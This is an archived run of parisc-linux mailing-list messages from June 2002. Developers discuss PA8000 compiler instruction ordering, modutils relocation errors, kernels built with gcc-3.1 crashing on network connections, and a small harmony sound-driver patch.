List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15190

> So what is the point in choosing the PA8000 anyway ? ;)

It affects the ordering of insns but not the insn set (PA1.0, 1.1
or 2.0).  The PA8000 ordering should work better on a PA8000
or later processor.  The ordering takes into account the number
of insn pipelines, the timing of insns, etc.  On older PA1.1
machines, the PA7100LC model should be better.

PA8000 machines all use the PA2.0 architecture but are backwards
compatible with PA1.1, etc.  There is still more work to be done
in the compiler to take full advantage of the PA2.0 architecture,
particularly in 32-bit mode.  For example, we are not taking
advantage of the fact that the general registers are actually 64
bits wide.  Thus, long long support could be better.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8000 modutils problems
Date: Fri, 21 Jun 2002 20:05:57 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20020622020557.AFB544876@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0206212130310.4556-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621425 9283 80.91.229.3 (22 Nov 2014 01:57:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 21 20:05:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id AFB544876; Fri, 21 Jun 2002 20:05:57 -0600 (MDT)
In-Reply-To: Message from "M. Grabert" <xam@cs.ucc.ie> 
   of "Fri, 21 Jun 2002 21:52:20 BST." <Pine.LNX.4.44.0206212130310.4556-100000@sal.ucc.ie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15191

"M. Grabert" wrote:
> Later I tried compiling pa39 (32bit), but depmod reported
> "unhandled relocation of type 74" for each function in each module.

This is a known bug in the modutils package.

Richard Hirst had created an older (hacked 2.4.13) version of
modutils that can deal with relocation type 74. See
	ftp://ftp.parisc-linux.org/unofficial-debs/

and grab modutils-2.4.13-3.1rgh*


> Compiling 64bit with the (quite old) unofficial debs worked however,
> but there are some "unresolved symbols" in a few (=4) modules,
> each time the symbol is "__xchg64".

grundler <506>fgrep -n __xchg64 arch/parisc/kernel/parisc_ksyms.c
77:EXPORT_SYMBOL(__xchg64);

Something else is wrong. you are building from CVS right?
Try "make distclean" and rebuild the 64-bit vmlinux/ from scratch.


> I'm quite sure that in former times
> all modules worked. Since these modules are not important to me
> (smbfs and some ipv6 netfilter modules) there is no hurry ;)

I'm pretty sure smbfs was recently built/tested.
It's been a while since I've heard anything about ipv6 on parisc.

> So far I'm running a 64bit kernel (because it's the only way it works),
> but I want to stick to a 32bit kernel, because they may be more stable.

I would agree. But you need to use PA11 arch for now.
In general, I think the 64-bit kernel isn't too bad though.

grant



From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3 Audio on C110
Date: Sat, 22 Jun 2002 11:06:11 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <200206221106.11065.deller@gmx.de>
References: <Pine.LNX.4.31L.02.0206212008460.5960-100000@linux2.gl.umbc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621426 9284 80.91.229.3 (22 Nov 2014 01:57:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:06 +0000 (UTC)
Cc: Patrick Caulfield <patrick@tykepenguin.com>,
	<parisc-linux@lists.parisc-linux.org>
To: James Mcclain <jmccla3@gl.umbc.edu>, "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 22 03:07:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 0A3A24835
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Jun 2002 03:07:49 -0600 (MDT)
Original-Received: (qmail 2937 invoked by uid 0); 22 Jun 2002 09:07:42 -0000
Original-Received: from pd9040608.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.6.8)
  by mail.gmx.net (mp010-rz3) with SMTP; 22 Jun 2002 09:07:42 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <Pine.LNX.4.31L.02.0206212008460.5960-100000@linux2.gl.umbc.edu>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15192

On Saturday 22 June 2002 02:11, James Mcclain wrote:
> i cannot speak to the mixer and gain issues, but i can offer something
> with regard to recording:  adding lines:
>
> 	case SNDCTL_DSP_SYNC:
> 	return 0;
>
> to the ioctl swith statment in drivers/sound/harmony.c (line 727 or there
> abouts) will allow you to use sox to record (i have been able to
> succesfully record using sox after adding this change).

FYI, I've added this patch to the 2.4.18-pa40 CVS kernel.

Helge



From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.18-pa40, added SNDCTL_DSP_SYNC ioctl to harmony driver
Date: Sat, 22 Jun 2002 11:07:59 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <200206221107.59319.deller@gmx.de>
References: <20020622090559.94D1B4835@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_v5DF9KDjHkEpJ5e"
X-Trace: ger.gmane.org 1416621426 9285 80.91.229.3 (22 Nov 2014 01:57:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	deller@dsl2.external.hp.com (Helge Deller),
	parisc-linux-cvs@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 22 03:09:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 783B8483E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Jun 2002 03:09:47 -0600 (MDT)
Original-Received: (qmail 7738 invoked by uid 0); 22 Jun 2002 09:09:45 -0000
Original-Received: from pd9040608.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.6.8)
  by mail.gmx.net (mp016-rz3) with SMTP; 22 Jun 2002 09:09:45 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <20020622090559.94D1B4835@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15193

--Boundary-00=_v5DF9KDjHkEpJ5e
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline

On Saturday 22 June 2002 11:05, Helge Deller wrote:
> CVSROOT:	/var/cvs
> Module name:	linux
> Changes by:	deller	02/06/22 03:05:59
>
> Modified files:
> 	.              : Makefile
> 	drivers/sound  : harmony.c
>
> Log message:
> 2.4.18-pa40
> - added SNDCTL_DSP_SYNC to harmony driver (allows recording with sox)
> This patch was contributed by James Mcclain <jmccla3@gl.umbc.edu>
> http://lists.parisc-linux.org/pipermail/parisc-linux/2002-June/016688.html

--Boundary-00=_v5DF9KDjHkEpJ5e
Content-Type: text/plain;
  charset="iso-8859-1";
  name="diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="diff"

Index: Makefile
===================================================================
RCS file: /var/cvs/linux/Makefile,v
retrieving revision 1.310
diff -u -p -r1.310 Makefile
--- Makefile	2002/06/19 06:59:25	1.310
+++ Makefile	2002/06/22 09:02:46
@@ -1,7 +1,7 @@
 VERSION = 2
 PATCHLEVEL = 4
 SUBLEVEL = 18
-EXTRAVERSION = -pa39
+EXTRAVERSION = -pa40
 
 KERNELRELEASE=$(VERSION).$(PATCHLEVEL).$(SUBLEVEL)$(EXTRAVERSION)
 
Index: drivers/sound/harmony.c
===================================================================
RCS file: /var/cvs/linux/drivers/sound/harmony.c,v
retrieving revision 1.27
diff -u -p -r1.27 harmony.c
--- drivers/sound/harmony.c	2002/03/26 20:59:01	1.27
+++ drivers/sound/harmony.c	2002/06/22 09:02:47
@@ -724,7 +724,11 @@ static int harmony_audio_ioctl(struct in
 		info.fragsize = HARMONY_BUF_SIZE;
                 info.bytes = info.fragments * info.fragsize;
 		return copy_to_user((void *)arg, &info, sizeof(info));
+	
+	case SNDCTL_DSP_SYNC:
+		return 0;
 	}
+	
 	return -EINVAL;
 }
 

--Boundary-00=_v5DF9KDjHkEpJ5e--




From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8000 modutils problems
Date: Sat, 22 Jun 2002 18:05:38 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <3D14BC72.3010909@freebel.net>
References: <200206212125.g5LLP37O028451@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621426 9288 80.91.229.3 (22 Nov 2014 01:57:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:06 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>,
	parisc-linux@lists.parisc-linux.org,
	Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 22 12:04:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 624EB4842
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Jun 2002 12:04:28 -0600 (MDT)
Original-Received: from [62.235.233.162] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17LpFC-0004nr-00; Sat, 22 Jun 2002 20:04:18 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020610 Debian/1.0.0-1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15194

Hi Dave,

John David Anglin wrote:
> 
>>One more question: is it a good idea to compile with gcc-3.1,
>>e.g. make CC=gcc-3.1 HOSTCC=gcc-3.1 vmlinux ?
>>Does gcc-3.1 generate better code (better optimized, fewer bugs?) or
>>should I stick to gcc-3.0 since this is the "recommended" compiler
>>(or at least the one the kernel developers use and know)
> 
Some weeks ago I also try to compile the kernel (32bits) with gcc-3.1 
(cvs) and eventhought it boots fine there was a problem
with network connections (as well telnet which uses inetd as well as ssh
which using its own sshd; this confirm the problem of compilation in 
network interface). Is this problem solved now?
If not I will ask to Bruno to test its last lkcd code (kdb not yet 
working) to continue to investigate this problem.

Joel






From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8000 modutils problems
Date: Sat, 22 Jun 2002 15:53:18 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200206221953.g5MJrIHe000465@hiauly1.hia.nrc.ca>
References: <3D14BC72.3010909@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621426 9291 80.91.229.3 (22 Nov 2014 01:57:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:06 +0000 (UTC)
Cc: xam@cs.ucc.ie, parisc-linux@lists.parisc-linux.org,
	bruno_vidal@hpfrcu03.france.hp.com
To: joel.soete@freebel.net (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 22 13:54:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A10654845
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Jun 2002 13:54:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5MJrJFN000466;
	Sat, 22 Jun 2002 15:53:19 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5MJrIHe000465;
	Sat, 22 Jun 2002 15:53:18 -0400 (EDT)
In-Reply-To: <3D14BC72.3010909@freebel.net> from "Joel Soete" at Jun 22, 2002 06:05:38 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15195

> Some weeks ago I also try to compile the kernel (32bits) with gcc-3.1 
> (cvs) and eventhought it boots fine there was a problem
> with network connections (as well telnet which uses inetd as well as ssh
> which using its own sshd; this confirm the problem of compilation in 
> network interface). Is this problem solved now?

Not that I am aware of.  Maybe some of the debian folks have tried looking
into it as they were talking about moving to a newer compiler release.  
If it is a compiler problem, I would need a test case showing the
miscompilation and preferably a filed PR.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8000 modutils problems
Date: Sun, 23 Jun 2002 11:55:27 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <3D15B72F.2080403@freebel.net>
References: <200206221953.g5MJrIHe000465@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621427 9292 80.91.229.3 (22 Nov 2014 01:57:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:07 +0000 (UTC)
Cc: xam@cs.ucc.ie, parisc-linux@lists.parisc-linux.org,
	bruno_vidal@hpfrcu03.france.hp.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 23 05:54:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E9F4482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Jun 2002 05:54:10 -0600 (MDT)
Original-Received: from [62.235.238.246] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17M5wS-0005eV-00; Sun, 23 Jun 2002 13:54:05 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020610 Debian/1.0.0-1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15196

Dave,

The problem mentionned in this mail:
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-April/016119.html

about gcc-3.2 is the same with gcc-3.1.

Dono about some follow-up?

Thanks for advise,
	Joel

PS:
What means PR (how to fil it)?
And what means insn?

John David Anglin wrote:
>>Some weeks ago I also try to compile the kernel (32bits) with gcc-3.1 
>>(cvs) and eventhought it boots fine there was a problem
>>with network connections (as well telnet which uses inetd as well as ssh
>>which using its own sshd; this confirm the problem of compilation in 
>>network interface). Is this problem solved now?
> 
> 
> Not that I am aware of.  Maybe some of the debian folks have tried looking
> into it as they were talking about moving to a newer compiler release.  
> If it is a compiler problem, I would need a test case showing the
> miscompilation and preferably a filed PR.
> 
> Dave





From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: Re: [parisc-linux] PA8000 modutils problems]
Date: Sun, 23 Jun 2002 12:09:57 +0000
Lines: 53
Approved: news@gmane.org
Message-ID: <3D15BA95.7070101@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621427 9295 80.91.229.3 (22 Nov 2014 01:57:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 23 06:08:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 006C34839
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Jun 2002 06:08:41 -0600 (MDT)
Original-Received: from [62.235.238.246] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17M6AU-00070v-00; Sun, 23 Jun 2002 14:08:34 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020610 Debian/1.0.0-1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15197

Hi Bruno,

Till some month ago I encounter a problem when I compile the kernel with 
gcc-3.2 or gcc-3.1. Those kernels boot well but as soon as you try a 
network connection (telnet or ssh) the system crash.

It is a problem in network kernel part but dono yet if it is IP stack or 
  interface problem.

As some month ago could you send me your last lkcd code so that I could 
try to locate the problem with at least gdb?

Thanks in advance for your help,
	Joel

 > Dave,
 >
 > The problem mentionned in this mail:
 > 
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-April/016119.html
 >
 > about gcc-3.2 is the same with gcc-3.1.
 >
 > Dono about some follow-up?
 >
 > Thanks for advise,
 > 	Joel
 >
 > PS:
 > What means PR (how to fil it)?
 > And what means insn?
 >
 > John David Anglin wrote:
 > >>Some weeks ago I also try to compile the kernel (32bits) with gcc-3.1
 > >>(cvs) and eventhought it boots fine there was a problem
 > >>with network connections (as well telnet which uses inetd as well 
as ssh
 > >>which using its own sshd; this confirm the problem of compilation in
 > >>network interface). Is this problem solved now?
 > >
 > >
 > > Not that I am aware of.  Maybe some of the debian folks have tried 
looking
 > > into it as they were talking about moving to a newer compiler 
release.
 > > If it is a compiler problem, I would need a test case showing the
 > > miscompilation and preferably a filed PR.
 > >
 > > Dave





From - Thu Nov 08 21:23:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8000 modutils problems
Date: Mon, 24 Jun 2002 01:01:21 +0100 (IST)
Lines: 51
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206240051550.27933-100000@sal.ucc.ie>
References: <20020622020557.AFB544876@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621427 9303 80.91.229.3 (22 Nov 2014 01:57:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 23 18:01:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93FEB482F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Jun 2002 18:01:38 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id BAA09116;
	Mon, 24 Jun 2002 01:01:28 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20020622020557.AFB544876@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15198

On Fri, 21 Jun 2002, Grant Grundler wrote:

> "M. Grabert" wrote:
> > Later I tried compiling pa39 (32bit), but depmod reported
> > "unhandled relocation of type 74" for each function in each module.
>
> This is a known bug in the modutils package.
>
> Richard Hirst had created an older (hacked 2.4.13) version of
> modutils that can deal with relocation type 74. See
> 	ftp://ftp.parisc-linux.org/unofficial-debs/
>
> and grab modutils-2.4.13-3.1rgh*

